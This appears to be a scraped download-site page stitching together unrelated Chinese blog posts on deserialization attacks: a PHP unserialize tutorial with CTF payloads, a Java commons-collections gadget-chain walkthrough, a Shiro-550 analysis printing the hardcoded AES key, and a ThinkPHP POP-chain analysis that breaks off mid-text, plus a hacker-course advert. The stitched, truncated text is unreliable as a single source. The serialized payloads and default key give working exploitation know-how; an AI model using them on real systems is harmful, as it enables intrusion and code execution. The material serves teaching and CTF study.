精华内容
下载资源
问答
  • PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列...

    一、什么是反序列化

    1.1 漏洞简介
    PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。
    1.2反序列化函数
    在我们讲PHP反序列化的时候,基本都是围绕着serialize(),**unserialize()**这两个函数。那么什么是序列化呢,序列化说通俗点就是把一个对象变成可以传输的字符串。举个例子,不知道大家知不知道json格式,这就是一种序列化,有可能就是通过array序列化而来的。而反序列化就是把那串可以传输的字符串再变回对象。
    直接上例子便于理解:
    我们先讲一讲比较简单的序列化,我们就用序列化json来举例子吧。虽然序列化Json和我们讲PHP反序列化的漏洞没有什么关系。但是在理解序列化这个概念和之后的内容会有所帮助
    json_encode()
    json_decode()
    这两个函数,一眼就能看出来是做什么用的吧,直接上例子:

    <?php
    	$book = array('book1'=>'Harry Potter', 'book2'=>'MR.Bean', 'book3'=>'History');
    	$json = json_encode($book);
    	echo $json;
    ?>
    

    这边有一个book的数组
    ‘book1’=>‘Harry Potter’,
    ‘book2’=>‘MR.Bean’,
    ‘Book3’=>‘Python Cookbook’,
    ‘Book4’=>‘History’
    如果我们想传输这个数组怎么办呢,我们就可以请json_encode()这个函数帮助我们将这个数组序列化成一串字符串
    在这里插入图片描述
    所以在这里,我们将数组序列化成json格式的字串的目的就是为了方便传输。我们可以看见,这里json格式来保存数据主要是使用键值对的形式。
    假设,我们写了一个class,这个class里面存有一些变量。当这个class被实例化了之后,在使用过程中里面的一些变量值发生了改变。以后在某些时候还会用到这个变量,如果我们让这个class一直不销毁,等着下一次要用它的时候再一次被调用的话,浪费系统资源。当我们写一个小型的项目可能没有太大的影响,但是随着项目的壮大,一些小问题被放大了之后就会产生很多麻烦。这个时候PHP就和我们说,你可以把这个对象序列化了,存成一个字符串,当你要用的时候再放他出来就好了。

    <?php
    	class DemoClass
    	{
    		public $name = 'sms2056';
    		public $sex = 'man';
    		public $age = '7';
    	}
    	$example = new DemoClass();
    	$example->name = 'jone';
    	$example->sex = 'woman';
    	$example->age = '18';
    ?>
    

    这里,我们先创了个DemoClass,里面存了点信息,后来我们new了一个实例$example的时候,将这个class里的一些信息给改变了。
    如果我们之后还要用到这个实例怎么办呢,我们就先将他序列化存起来,到时候用的时候再放出来就好啦。
    是不是很简单,只要用serialize()这个函数就行了

    <?php
    	class DemoClass
    	{
    		public $name = 'sms2056';
    		public $sex = 'man';
    		public $age = '7';
    	}
    	$example = new DemoClass();
    	$example->name = 'jone';
    	$example->sex = 'woman';
    	$example->age = '18';
    	echo serialize($example);
    ?>
    

    这个时候,我们发现这次序列化出来的格式,和我们上一个序列化json的格式有点不同呢,解释一下:在这里插入图片描述
    然后如果反序列化回来的话

    <?php
    	class DemoClass
    	{
    		public $name = 'sms2056';
    		public $sex = 'man';
    		public $age = '7';
    	}
    	$example = new DemoClass();
    	$example->name = 'jone';
    	$example->sex = 'woman';
    	$example->age = '18';
    	
    	$val = serialize($example);
    	$NewExample = unserialize($val);
    	echo $NewExample->age;
    ?>
    

    在这里插入图片描述

    二. 为什么会产生漏洞

    那么,问题来了,这么序列化一下然后反序列化,为什么就能产生漏洞了呢?
    这个时候,我们就要了解一下PHP里面的魔术方法了,魔法函数一般是以__开头,通常会因为某些条件而触发不用我们手动调用:
    在研究反序列化漏洞的时候,碰见这几个魔法函数就要仔细研究研究了:

    __construct()当一个对象创建时被调用
    __destruct()当一个对象销毁时被调用
    __toString()当一个对象被当作一个字符串使用
    __sleep() 在对象在被序列化之前运行
    __wakeup将在序列化之后立即被调用
    

    这些就是我们要关注的几个魔术方法了,如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。
    举个别人的例子:

    <?php
    class A{
        var $test = "demo";
        function __destruct(){
                echo $this->test;
        }
    }
    $a = $_GET['test'];
    $a_unser = unserialize($a);
    ?>
    

    这里我们只要构造payload:
    http://127.0.0.1/test.php?test=O:1:“A”:1:{s:4:“test”;s:5:“hello”;}
    就能控制echo出的变量,比如你能拿这个来进行反射型xss。

    三、 实例分析

    这里实战一题比较简单的ctf题目吧

    <?php 
        require_once('shield.php');
        $x = new Shield();
        isset($_GET['class']) && $g = $_GET['class'];
        if (!empty($g)) {
            $x = unserialize($g);
        }
        echo $x->readfile();
    ?>
    

    可以看见 先是包含了shield.php 然后从中new了个新的实例出来 最后接收用户的反序列化 输出readfile()方法
    跟进:

    <?php
        //flag is in pctf.php
        class Shield {
            public $file;
            function __construct($filename = '') {
                $this -> file = $filename;
            }
            function readfile() {
                if (!empty($this->file) && stripos($this->file,'..')===FALSE  
                && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                    return @file_get_contents($this->file);
                }
            }
        }
    ?>
    

    这里我们可以看见只要操控$file这个参数为pctf.php就可以了,这里construct函数在实例被创建的时候(也就是new Shield()的时候)执行,所以不会影响我们对$file的操作直接构造序列化对象传过去 O:6:“Shield”:1:{s:4:“file”;s:8:“pctf.php”;} 就行了。

    四、反序列漏洞的利用思路

    在反序列化中,我们所能控制的数据就是对象中的各个属性值,所以在PHP的反序列化有一种漏洞利用方法叫做 “面向属性编程” ,即 POP( Property Oriented Programming)。和二进制漏洞中常用的ROP技术类似。在ROP中我们往往需要一段初始化gadgets来开始我们的整个利用过程,然后继续调用其他gadgets。在PHP反序列化漏洞利用技术POP中,对应的初始化gadgets就是__wakeup() 或者是__destruct() 方法, 在最理想的情况下能够实现漏洞利用的点就在这两个函数中,但往往我们需要从这个函数开始,逐步的跟进在这个函数中调用到的所有函数,直至找到可以利用的点为止。下面列举些在跟进其函数调用过程中需要关注一些很有价值的函数。
    在这里插入图片描述
    如果在跟进程序过程中发现这些函数就要打起精神,一旦这些函数的参数我们能够控制,就有可能出现高危漏洞.

    五、现实中查找反序列化漏洞的方法

    PHP的 unserialize() 函数只能反序列化在当前程序上下文中已经被定义过的类.在传统的PHP中你需要通过使用一大串的include() 或者 require()来包含所需的类定义文件。于是后来出现了 autoloading 技术,他可以自动导入需要使用的类,再也不需要程序员不断地复制粘贴 那些include代码了。这种技术同时也方便了我们的漏洞利用.因为在我们找到一个反序列化点的时候我们所能使用的类就多了,那么实现漏洞利用的可能性也就更加高。
    还有一个东西要提一下,那就是Composer,这是一个php的包管理工具,同时他还能自动导入所以依赖库中定义的类。这样一来 unserialize() 函数也就能使用所有依赖库中的类了,攻击面又增大不少。
    1.Composer配置的依赖库存储在vendor目录下
    2.如果要使用Composer的自动类加载机制,只需要在php文件的开头加上 require __DIR__ . '/vendor/autoload.php';
    找PHP链的基本思路.
    1.在各大流行的包中搜索 __wakeup() 和 __destruct() 函数.
    2.追踪调用过程
    3.手工构造 并验证 POP 链
    4.开发一个应用使用该库和自动加载机制,来测试exploit.
    构造exploit的思路
    1.寻找可能存在漏洞的应用
    2.在他所使用的库中寻找 POP gadgets
    3.在虚拟机中安装这些库,将找到的POP链对象序列化,在反序列化测试payload
    4.将序列化之后的payload发送到有漏洞web应用中进行测试.

    六、参考

    其它不错的PHP反序列化,文章链接:
    1、最通俗易懂的PHP反序列化原理分析

    https://www.freebuf.com/articles/web/167721.html
    

    2、由Typecho 深入理解PHP反序列化漏洞

    https://www.freebuf.com/column/161798.html
    

    3、Typecho install.php 反序列化导致任意代码执行

    https://p0sec.net/index.php/archives/114/
    

    4、HP反序列化漏洞成因及漏洞挖掘技巧与案例

    https://www.anquanke.com/post/id/84922
    

    免责声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。禁止任何人转载到其他站点,禁止用于任何非法用途。如有任何人凭此做何非法事情,均于笔者无关,特此声明。

    展开全文
  • 之前听别人讲解反序列化的漏洞听的晕乎乎的,刚脆就趁着周末研究一下反序列化漏洞,并且搭建实战环境实际操作了一把,明白了之后发现之前听的迷糊更多是因为对于反序列漏洞思路不够清晰,明白了反序列的流程之后,...

    之前听别人讲解反序列化的漏洞听的晕乎乎的,刚脆就趁着周末研究一下反序列化漏洞,并且搭建实战环境实际操作了一把,明白了之后发现之前听的迷糊更多是因为对于反序列漏洞思路不够清晰,明白了反序列的流程之后,反序列化漏洞很好理解。

    下面的内容,我将详细论诉反序列化漏洞的利用思路。

    序列化的过程

    这里梳理一下正常的序列化的流程,将一个类进行序列化存储成二进制文件,然后再将该文件进行反序列化生成对象。

    首先新建一个新的user类作为需要被反序列化的类使用,类截图如下图所示:

    code 1:

    eb1de6e09e4bd619eb13ca60a1970ad0.png

    需要被反序列化的类新建完成,现在利用writeobject()方法,将类反序列化存储在本地,具体实现过程如下:

    code 2:

    2c12ce0310782ea120a70236a4b0af9a.png

    解释一下上述截图的代码,首先是打开一个输入流的文件对象out,然后利用writeobject方法,将user对象存储到bin.bin文件中,run test之后,文件内容如下图所示:

    516ae9fee0710bd4fcd709667a954b6e.png

    上图是本地存储的被实例化的对象user。

    下面利用readobject方法将对象还原,具体实现过程如下图所示:

    code 3:

    cc3692fe7b4e0de8a9577322dfe9e762.png

    解释一下上图的过程,首先打开bin.bin的输入流,利用readobject方法读取文件中的内容,并强制类型转换成user对象,因为此处就是user的对象序列化,因此不存在ClassNotFound异常,最后输出序列化user对象的name属性的值,run test结果如下图所示:

    code 4:

    0c41307a70bc3d6947900e0cf1489c57.png

    readObject方法

    这里我将会提到readObject方法,为什么要单独拿出来,因为如果readObject方法被反序列化的类重写,虚拟机在反序列的过程中,会使用被反序列化类的readObejct方法。

    也就是说如果我在user类中重写了readObject方法,虚拟机在反序列过程中会运行user类中的readObject方法,如何证明呢?

    很简单,跟着我一步步来吧,首先在user类中重写readObject方法,如下图所示:

    code 5:

    e3ebc70faa110db6a1b0c33c2799b371.png

    现在改变到此为止,利用code1的run方法,将user对象重新进行序列化,之后利用刚才code3的run2方法,将之前生成的bin.bin文件进行反序列化。

    利用code1序列化截图如下:

    code 6:

    d3985868b4280935f25b5e9c3f9081d5.png

    打开bin.bin文件截图如下图所示:

    4abf20d4b6b915730898e293e49aefb5.png

    bin.bin文件生成之后再利用code 3代码,将bin.bin文件生成user对象,并且虚拟机会执行user类中重写的readobject方法,执行结果如下图所示:

    code 7:

    053ebd55382c24a254da6b9f1e5f55f4.png

    此处反序列的过程中,执行了user类中的readObject方法,我估计很多人没有认真看上面的文字描述,因此这里放上user类的全览,如下图:

    code 8:

    9db0cb979fe0a3091695505c23719c51.png

    上面文章部分中,最后将code 6和code 7两幅截图联系起来理解,这里我们知道java反序列化漏洞成因是因为,需要被反序列化的类中重写了readObject方法,然而重写的readObject方法中执行了命令。

    我相信有些常识的开发者都不会直接将命令写在readObject中,因此此处就需要通过反射链来进行任意代码执行了。

    首先介绍几个可以被序列化的类并且重写了readobject方法,ArrayList,AnnotationInvocationHandler类等等。

    因为后面文章会用到AnnotationInvocationHandler类,因此此处查看一下AnnotationInvocationHandler的源码中的readobject方法,如下图所示:

    code 9:

    2abe34861df228567c9dc26962157c5f.png

    大家先记住这个地方,我稍后再来解释这个作用。

    反射链

    这里我将会选用的commons-collections类中的transform链来作为反射链,详细的反射链如下图所示:

    code 10:

    44fa1b06029ea0501b9beb049a6588dd.png

    至于为什么这里会是反射链,这里推荐大家设个断点,逐步调试查看一些源码解释就懂了,网上的解释也很详细,这里不详细说了。

    由上图可知,我们得到了一个ChainedTransformer对象。这里做一个小实验,实现代码如下图所示:

    code 11:

    b7c8a1db338bf3f8f19172a436af49ed.png

    执行结果如下图所示:

    be8ae6326caaec5dede542b8fc6479c1.png

    从上图中我们可以看到,执行了transform方法就弹出了计算器,为什么呢?我们进入到ChainedTransformer源码中查看,transform方法如下图所示:

    code 12:

    ca5ebee10cda7b298bc0e311d50c5612.png

    上图中一切就明朗了,对transform数组依次执行transform方法,反射出了java代码执行。

    这里我们找到一个类使用了ChainedTransformer类的transform方法,这个类就是TransformedMap方法,使用transform方法如下图所示:

    85ba2fb0a6d8ff6a9aca9e71345abff8.png

    找到valueTransformer方法的定义位置,如下图所示:

    83fff49ece251a5d48ef6407ee2cd051.png

    因为上述截图中的构造函数是受保护的类型,我们不能在代码中的显示的调用,因此尝试在源码中查到是否还有构造的位置,如下图所示:

    这里有两个地方可以使用该构造函数,如下图所示:

    构造一:

    65875a3b0fd2f1f0975e5bc2ee03d53a.png

    0236bdd85dd2ed1864d72d7885fb1cfd.png

    利用构造方式一的方式触发反射链:

    code 13:

    7e998e55095d901c5ccf1d2ab90e51ec.png

    回到构造一的源码中,传入一个map的尺寸大于1,第一行代码会初始化valueTransformer的值,初始化之后进入到if当中,执行了TransformedMap方法的TransformMap方法,跟踪截图如下图:

    ede534eb8d2f973ce280c7a221ec2704.png

    最后执行了TransformValue方法,跟踪进入方法中截图如下:

    4d6ba541ac81f96b3424063846db7930.png

    这里执行了反射链的transform方法。

    利用构造二触发任意代码执行,如下图所示:

    code 14:

    de9f75e2305d2a417e6005461d10edd4.png

    对照着源码去看很好解释,decorate方法对变量进行初始化,使用setValue方法触发反射链执行,触发点如下图所示:

    4bcdddf76c3601660b42a8010689caa1.png

    上图红框中,当使用setValue方法的时候触发该方法,因此成功执行。

    到此为止反射链的触发方式说完了,现在就是要寻找一个类完成触发,回到code 7的代码中,其中的membervalue在readobject方法中使用了setvalue方法,因此我们只要控制传入的Map参数是我们TransformedMap对象即可。

    完成反序列漏洞实践

    现在我们将构造出来的TransformedMap对象保存,AnnotationInvocationHandler作为触发类,因此也需要被序列化保存,具体实现如下图所示:

    code 15:

    20662a569e900b478d5926ee6f01c34c.png

    上图中我们将AnnotationInvocationHandler构造完毕之后,序列化保存在bin2文件中,运行之后生成的bin2截图如下图所示:

    3b159f1feaee59bc7b4e11868edbbea0.png

    利用反序列化读取该类,实现代码如下图所示:

    code 16:

    904dcd74a32ae1e6f2dcf0ba5dca430e.png

    但是上图中并未发现远程代码执行,找了很久也没发现问题出在哪里,因此我决定自己写一个代替AnnotationInvocationHandler类,模仿该类中的setValue方法,具体实现的类全览如下图所示:

    545e77191081b9fa51a42b524980832a.png

    开始对上面的类进行序列化存储在本地,对code 15进行修改,从原来的AnnotationInvocationHandler修改为user类的序列化,实现过程如下:

    71bfcc6998355758e23c03107899cefb.png

    生成的bin2文件如下图所示:

    b93db72407b2a8215d5393bfa78128eb.png

    利用code 16反序列化该文件,执行结果如下图所示:

    8243f34f5dce0c67da7dc60fa5385626.png

    成功弹出了计算器。

    结论

    上文中的AnnotationInvocationHandler检查了好久没弄明白是哪里错误了,如果有人看出来了,或者知道请指出;这里利用自己模仿AnnotationInvocationHandler类实现的过程。

    综合上面来看,反序列化漏洞的存在顾名思义,就是再将数据流反序列成对象的时候可以反序列成任意对象,我们不是反序列出一条反射链,而是利用反序列化漏洞反序列出反射链的触发类,通过该类去触发反射链的形成,而反射链的Map对象要在反序列化的类中可用。

    技术水平有限,文章难免有不足之处,欢迎大家指正交流。可以通过微信公众号“ZeroProject”与我们取得联系,不定期分享技术文档,期待与各位大牛交流。

    展开全文
  • 相信大家总是面试会问到java反序列化,或者会问到标志性的漏洞,比如shiro反序列化,或者weblogic反序列化漏洞。 那我就这篇文章为大家讲解一下,不懂的哥哥直接背一下,理解一下就好了。 至于为什么要选择shiro反...
    更多黑客技能 公众号:小道黑客
    

    作者:掌控安全-holic

    0x01、前言

    相信大家总是面试会问到java反序列化,或者会问到标志性的漏洞,比如shiro反序列化,或者weblogic反序列化漏洞。

    那我就这篇文章为大家讲解一下,不懂的哥哥直接背一下,理解一下就好了。

    至于为什么要选择shiro反序列化呢,不讲weblogic呢?

    因为我上次有幸参与金鸡电影节的临时安全负责人,具体我就不细说了。当时是内部涉及到shiro反序列化漏洞。

    准确的来说是Shiro<1.2.4-RememberMe反序列化漏洞。

    而它也被称为Shiro 550反序列化漏洞。

    细品细品…

    0x02、环境搭建

    下载地址:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

    环境:Tomcat 8.5.27 + idea 2020.2 + jdk 1.8 +maven 3.6

    图片

    下载之后之后直接打开,并open这个web文件夹即可,其他自行百度就行,其中还需要导入一些jstl的jar等等

    0x03、漏洞原理

    shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:

    得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化
    

    然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

    payload 构造的顺序则就是相对的反着来:

    恶意命令-->序列化-->AES加密-->base64编码-->发送cookie
    

    在整个漏洞利用过程中,比较重要的是AES加密的密钥,该秘钥默认是默认硬编码的,所以如果没有修改默认的密钥,就自己可以生成恶意构造的cookie了。

    shiro特征:

    未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
    
    登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
    
    不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
    
    勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
    

    0x04、漏洞复现

    图片

    复现文章https://blog.csdn.net/weixin_43571641/article/details/108182722

    0x05、漏洞分析

    简单介绍利用:

    通过在cookie的rememberMe字段中插入恶意payload,

    触发shiro框架的rememberMe的反序列化功能,导致任意代码执行。

    shiro 1.2.24中,提供了硬编码的AES密钥:kPH+bIxk5D2deZiIxcaaaA==

    由于开发人员未修改AES密钥而直接使用Shiro框架,导致了该问题

    5.1、加密

    那既然我们要分析,那入口点在哪呢?

    Shiro≤1.2.4版本默认使用CookieRememberMeManager

    图片

    而我们看看这边CookieRememberMeManager类继承了AbstractRememberMeManager,我们进去看看是什么梗

    图片

    我们可以看到这边这个类里面有硬编码。

    然后它又继承了RememberMeManager接口;我们继续进去看看是怎么回事

    图片

    看名字的话可以知道这些是登陆成功,登陆失败,退出的一些service;既然如此,肯定会调用这个登陆成功的接口,然后再去实现这个接口。

    所以我们直接在这个接口下个断点,看看是怎么个流程;

    图片

    这里看到调用了isRememberMe()可以发现这个就是一个判断用户是否选择了RememberMe选项。而我们是勾选了的

    图片

    所以我们我们条件满足,这边判断返回True,我们则进入this.rememberIdentity(subject, token, info);

    图片

    subject存储的一些登陆信息如session等等,而authcInfo存储的则是用户名;

    图片

    而PrincipalCollection是一个身份集合,因为我们可以在Shiro中同时配置多个Realm,所以呢身份信息可能就有多个;因此其提供了PrincipalCollection用于聚合这些身份信息,具体我们不细讲,不深入去懂原理。

    然后我们再F7继续跟进this.rememberIdentity(subject, principals);

    图片

    这我们有点懵,将身份信息干嘛?

    我们进入该convertPrincipalsToBytes()方法查看;

    图片

    看到了serialize()方法,难道这边开始是进行序列化了还是啥?

    图片

    图片

    图片

    通过此处我们可以知道是跳了两层,到DefaultSerializer类的serialize方法;

    看到这里就懂了,这里先转为byte,写入缓冲区;

    然后进行了一个序列化,最后通过toByteArray()方法返回序列化后的Byte数组。

    图片

    然后返回到原来的地方convertPrincipalsToBytes()内,接下来if判断getCipherService()方法不为空,则进入条件里面里面。

    我们f7进去内部看看;

    图片

    发现又是一个cipherService,这是什么;我们翻译一下,因为大部分开发都会用简称;

    图片

    也就是获取密码服务??什么密码服务?我们再继续F7跟进发现直接推出了。

    那我们就 Ctrl+左键 继续进去看。可以,发现是new了一个aes加密服务。

    图片

    那我们点击debugger处,回到刚刚那个地方;我们就不用继续进入了,我们就思考一下,这边是要获取到加密服务,如果没获取到,则不进入。

    获取到的话,则进入该条件;

    图片

    直接F8下来,进入,然后我们再手动添加变量监视。

    可以发现正如我们所想的,获取aes加密服务;

    然后调用encrypt()方法,而懂点英文的,都知道这个单词是加密的意思。

    那我们初步判断这是个加密方法。

    我们f7跟进去看看什么情况。

    图片

    我们可以知道这个参数是byte[] serialized,也就是说,此处加密我们刚刚的序列化流的数据。

    然后这边this.getCipherService()我们刚刚手动添加变量查看了,这边是获取到了aes加密服务;然后判断不问空,那肯定不为空啊,刚刚上面分析过了。然后我们进入条件判断股内部。

    ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());
    

    这里调用cipherService.encrypt()方法并且传入序列化数据,和getEncryptionCipherKey方法。

    加密过程,我们就应该不怎么感兴趣了;有兴趣的可以自己研究

    图片

    我们通过getEncryptionCipherKey()名字可以知道是获取key的一个方法。

    那我们f7进入看看

    图片

    哦豁,那我们再进一层看一下;发现直接就返回了,emmmmm….怎么跟别人不一样。

    那我们就不追了

    图片

    第一步有说到,硬编码存储在这个地方,而构造方法就在这下面,可以看到这边设置了key。

    图片

    我们继续回到原来的地方,知道这边是获取加密的key就ok了。

    然后这边使用平台的默认字符集将字符串编码为 byte 序列,并将结果存储到一个新的 byte 数组中。那我们加密部分就结束了

    图片

    5.2、解密

    由于此处,我找不到,回溯不到,那咋办,烦恼;最后想到了我们加密的入口~~

    图片

    图片

    图片

    既然自动跳到了这里,那么我们就直接在此处下个断点,重新开始

    图片

    随后我们进入这个getRememberedSerializedIdentity()方法,看看是什么东西。

    此处我们依然还很懵,没事;

    图片

    一直f8,期间倒是没有什么有意思或者重点的地方;

    图片

    直到我们走到这里,这个有一个this.getCookie().readValue(request, response),这是要读取cookice中的数据了,这必须跟入了;

    图片

    这里给进到了这个readvalue()方法中了,我们先看看什么情况。

    根据名字可以知道是读取值的一个方法。读取什么值?请求包的值。

    通过getName()方法得到了key为remeberMe。然后把value置空,再通过getCookie获取到cookie。

    最后判断cookie不为空,则进入内部;

    随后获取到cookie的值;值则为序列化内容。然后再 return回序列化内容;

    图片

    随后返回到上一处地方现在remeberMe的值不是delete;而是序列化内容,所以进入到第二个条件分支。

    图片

    一直到这一步,进行base64解码,成为二进制数据,给了decoded的byte数组;

    得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化
    

    目前只进行了Base64解码,那还需要aes解码。我们继续跟进

    图片

    返回到了上层,此处我们知道bytes是二进制数据,我们看看条件判断。当bytes数组不为空且长度大于0时,进入里面。那我们肯定满足,所以我们两步f8加一步F7进入到 convertBytesToPrincipals看看是什么

    图片

    可以看出我们接下来的步骤要依依实现了。判断key不为空,然后进入内部

    图片

    图片

    而从这里开始,就是进行aes解密的步骤了,我们F7跟进方法查看

    图片

    这里重新把恶意的bytes数组重新赋值给serialized,然后再获取加密服务:AES/CBC/PKCS5Padding

    图片

    同时到达了下一步;真真正正的开始解密了,其中两个参数,第一个是加密的bytes数组,第二个是获取到key,也就是硬编码;我们 就直接进入decrypt()方法中

    图片

    解密过程的话,我不擅长密码学,这种看着我头晕,涉及到aes啥的加密解密我就会跳过。所以依旧一样,跳!!!

    图片

    此处继续返回到了上一层,我们可以看出这个byteSource是aes解密出来的序列化流,然后再默认字符集将字符串编码为 byte 序列,并将结果存储到一个新的 byte 数组serialized中,那接下来我们就差反序列化了

    得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化
    

    我们继续return,返回到上一层

    图片

    顾名思义,一看名字就知道是反序列化的方法,我们跟进deserialize()方法查看

    图片

    看到还有一层,我们继续F7跟进

    图片

    形成反序列化漏洞的话,没有readObject()怎么可能呢?

    所以我们看到了最后一道光,就这么愉快的结束了。

    0x06、总结

    其实这个还是得学习学习加密解密的方法,才能进行编写poc,但是此处只是了解个思路。具体可参考其他文章;

    http://r6d.cn/b2b4r

    https://www.anquanke.com/post/id/225442#h2-7

    https://mp.weixin.qq.com/s/ayZKDVnN7zEbKjo5w8uqxQ

    黑客渗透视频教程,扫码免费领

    在这里插入图片描述

    展开全文
  • 这个thinkphp的反序列,第一次接触的时候,一个字都看不懂,把全网关于thinkphp反序列的都看了一遍,总算理解了百分之五六十了,然后把这个心酸、艰辛的历程记录下来,要想吃透thinkphp反序列,一定要先明白...

    声明

    好好向大佬们学习!!!

    这个thinkphp的反序列化,第一次接触的时候,一个字都看不懂,把全网关于thinkphp反序列化的都看了一遍,总算理解了百分之五六十了,然后把这个心酸、艰辛的历程记录下来,要想吃透thinkphp反序列化,一定要先明白php的反序列化,多看几个php反序列化的例子,最好自己写出一个demo(很简单,网上一大堆)

    攻击

    摘自

    https://book.nu1l.com/tasks/#/
    

    使用BUUCTF在线环境

    https://buuoj.cn/challenges
    

    访问

    http://72b1f71b-d44d-4562-8bac-db517053ebc4.node3.buuoj.cn
    

    访问后,点击download code,下载了,竟然是thinkphp的代码,不用说了,就是让我们自己分析thinkphp的代码,然后,找到可以反序列化的地方,执行代码

    在这里插入图片描述

    在这里,为了方便复现+理解,我下载安装了phpstudy(这个直接把下载下来的thinkphp源码放到WWW下,启动apache,就和BUUCTF看到的一样了),phpstorm(主要用于thinkphp反序列化利用链分析)

    话不多说,开始

    thinkphp反序列化利用链分析

    这一章节,看不看得懂都无所谓,因为这一章,如果第一次看别的大佬文章的时候,我也看不懂,反复看POC反序列化链跟踪,看了NNNNNNN+1遍后,这一章稍微能看懂了,如果各位第一遍看的时候,看蒙了,千万不要一直看,先把第二章节-漏洞复现和第三章节-POC反序列化链跟踪,看透吃透,再回过头看这个,可能更好理解

    按照惯例,找利用的入口,一般会选择php的魔术方法,这里用的是__destruct()

    在这里插入图片描述

    使用phpstorm打开thinkphp的源码文件,ctrl+shift+F全局搜索__destruct(),发现Windows类,如果你非常熟悉php的反序列化

    就会知道,如果我们利用漏洞时,序列化出一个Windows的对象,那么在执行反序列化的时候,这个__destruct()就会执行,双击进入Windows.php中

    在这里插入图片描述

    可以看到,__destruct()函数调用了$this->removeFiles()函数,那么我们继续跟进removeFiles()函数,学过开发的童鞋,都知道像这种编辑器,eclipse这种,按住Ctrl,直接点方法名称,就可以跳转过去,真好用

    在这里插入图片描述

    可以看到,removeFiles()函数还在Windows.php中,这里建议百度一下foreach、file_exists()

    一个简易的遍历for循环,这里要遍历this>filesthis->files数组,检查this->files数组中每一个元素是否是文件,那么就要求我们构造的POC里,Windows类中,有files变量,并且是一个数组

    跟到这里进行不下去了,也没看到RCE的影子啊,But,file_exists()函数,是一个很重要的函数,当我们传入的参数值是一个对象的时候,file_exists()会调用__toString方法,把这个对象转换成字符串,然后再判断,所以到这里我们就又确信两点:

    1.构造POC中files变量要是一个数组,并且数组的元素要是对象

    2.找到__toString()函数,进入到我们的下一站,Windows类中没有,这个函数,只能全局搜索,再找关系

    3.如果file_exists()的执行为true,会执行unlink,对$filename进行删除,这里是不是有点草率?

    在这里插入图片描述

    phpstorm全局搜索__toString()

    双击进入Conversion.php中,在这个类中,有__toString()函数

    在这里插入图片描述

    也就是说,我们现在是从Windows类中跳过来的,跳到了Conversion类中,那么POC在构造的时候,就想办法让这两者,通过继承、use包含,产生一定微妙的关系,那么如何产生关系,这里简单说明一下

    我通过全局搜索,发现,Model类,是一个抽象类,使用use包含了Conversion类

    在这里插入图片描述

    Pivot类继承了Model类

    在这里插入图片描述

    看到这里,我们可以通过将files,没忘记上面提到的files对象数组(是个数组,每个元素是个对象)吧?

    POC中,files的内容,写成Pivot的对象,并且让Pivot类继承Model类,不就找到了Model类,进而找到了Conversion类,从而调用__toString()函数

    好的,我们继续

    还在Conversion类,__toString()函数调用了toJson()函数

    在这里插入图片描述

    继续

    还在Conversion类,toJson()函数调用了toArray()函数

    在这里插入图片描述

    继续

    还在Conversion类,toArray()函数中,这里是一大难点,我把不必要的代理点击左边的隐藏

    我们一个函数一个函数跟踪

    在这里插入图片描述

    关键代码拷贝下来,得仔细看了

                        ......此处省略一百八十行代码
                        
    //!empty($this->append),只有当append变量不为空,才会往下进行,所以我们的POC得构造一个不为空的append变量
    if (!empty($this->append)) {
    //开始使用foreach遍历append遍历,并且是键->值,所以我们构造的append变量还得是个键值对形式的
                foreach ($this->append as $key => $name) {
    //判断name是否为数组,所以我们构造的append的值,要是一个数组          
                    if (is_array($name)) {
    //按照上述说的构造append,就会进入到这里,下面就是relation的问题了,但是我们这里要考虑一个问题,需要让代码继续往下走
                        // 追加关联对象属性
                        $relation = $this->getRelation($key);
    //代码继续往下走,意味着if (!$relation)和if (!$relation),这两个条件都要成立
                        if (!$relation) {
                            $relation = $this->getAttr($key);
                            if (!$relation) {
                                $relation->visible($name);
                            }
                        }
                        
                        ......此处省略八十行代码
    

    上面的代码块,到了this>getRelation(this->getRelation(key),无法进行,因为需要跳转到另一个trait RelationShip类里面,进入这个类里面的getRelation()函数中

    可以看到,这个函数,有三个分支(return),那我们上面的代码分析,提到,需要让代码往下走,所以if (!$relation),要为真,所以

    !relationtruerelation为true,relation为null,那么就是进入到第三个return

    在这里插入图片描述

    //我的理解,为了自圆其说
    //这里传过来的$name,实际上是,键值,要想最后返回空,那么前两个if都不能成立
    public function getRelation($name = null){
    //第一个if,传过来的参数不能为空,也就要求,构造的POC,键不能为空
        if (is_null($name)) {
            return $this->relation;
    //第二个if,要求,传过来的键,不能在$this->relation数组中,但是我往上翻,这个类定义的relation变量默认值为空
    //所以我们构造的时候,不传系统默认的,应该就没问题
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        return;
    }
    

    那么getRelation($key)成功过关,继续下一关

                        ......此处省略一百八十行代码
                        
    if (!empty($this->append)) {
                foreach ($this->append as $key => $name) {     
                    if (is_array($name)) {
                        // 追加关联对象属性
                        $relation = $this->getRelation($key);
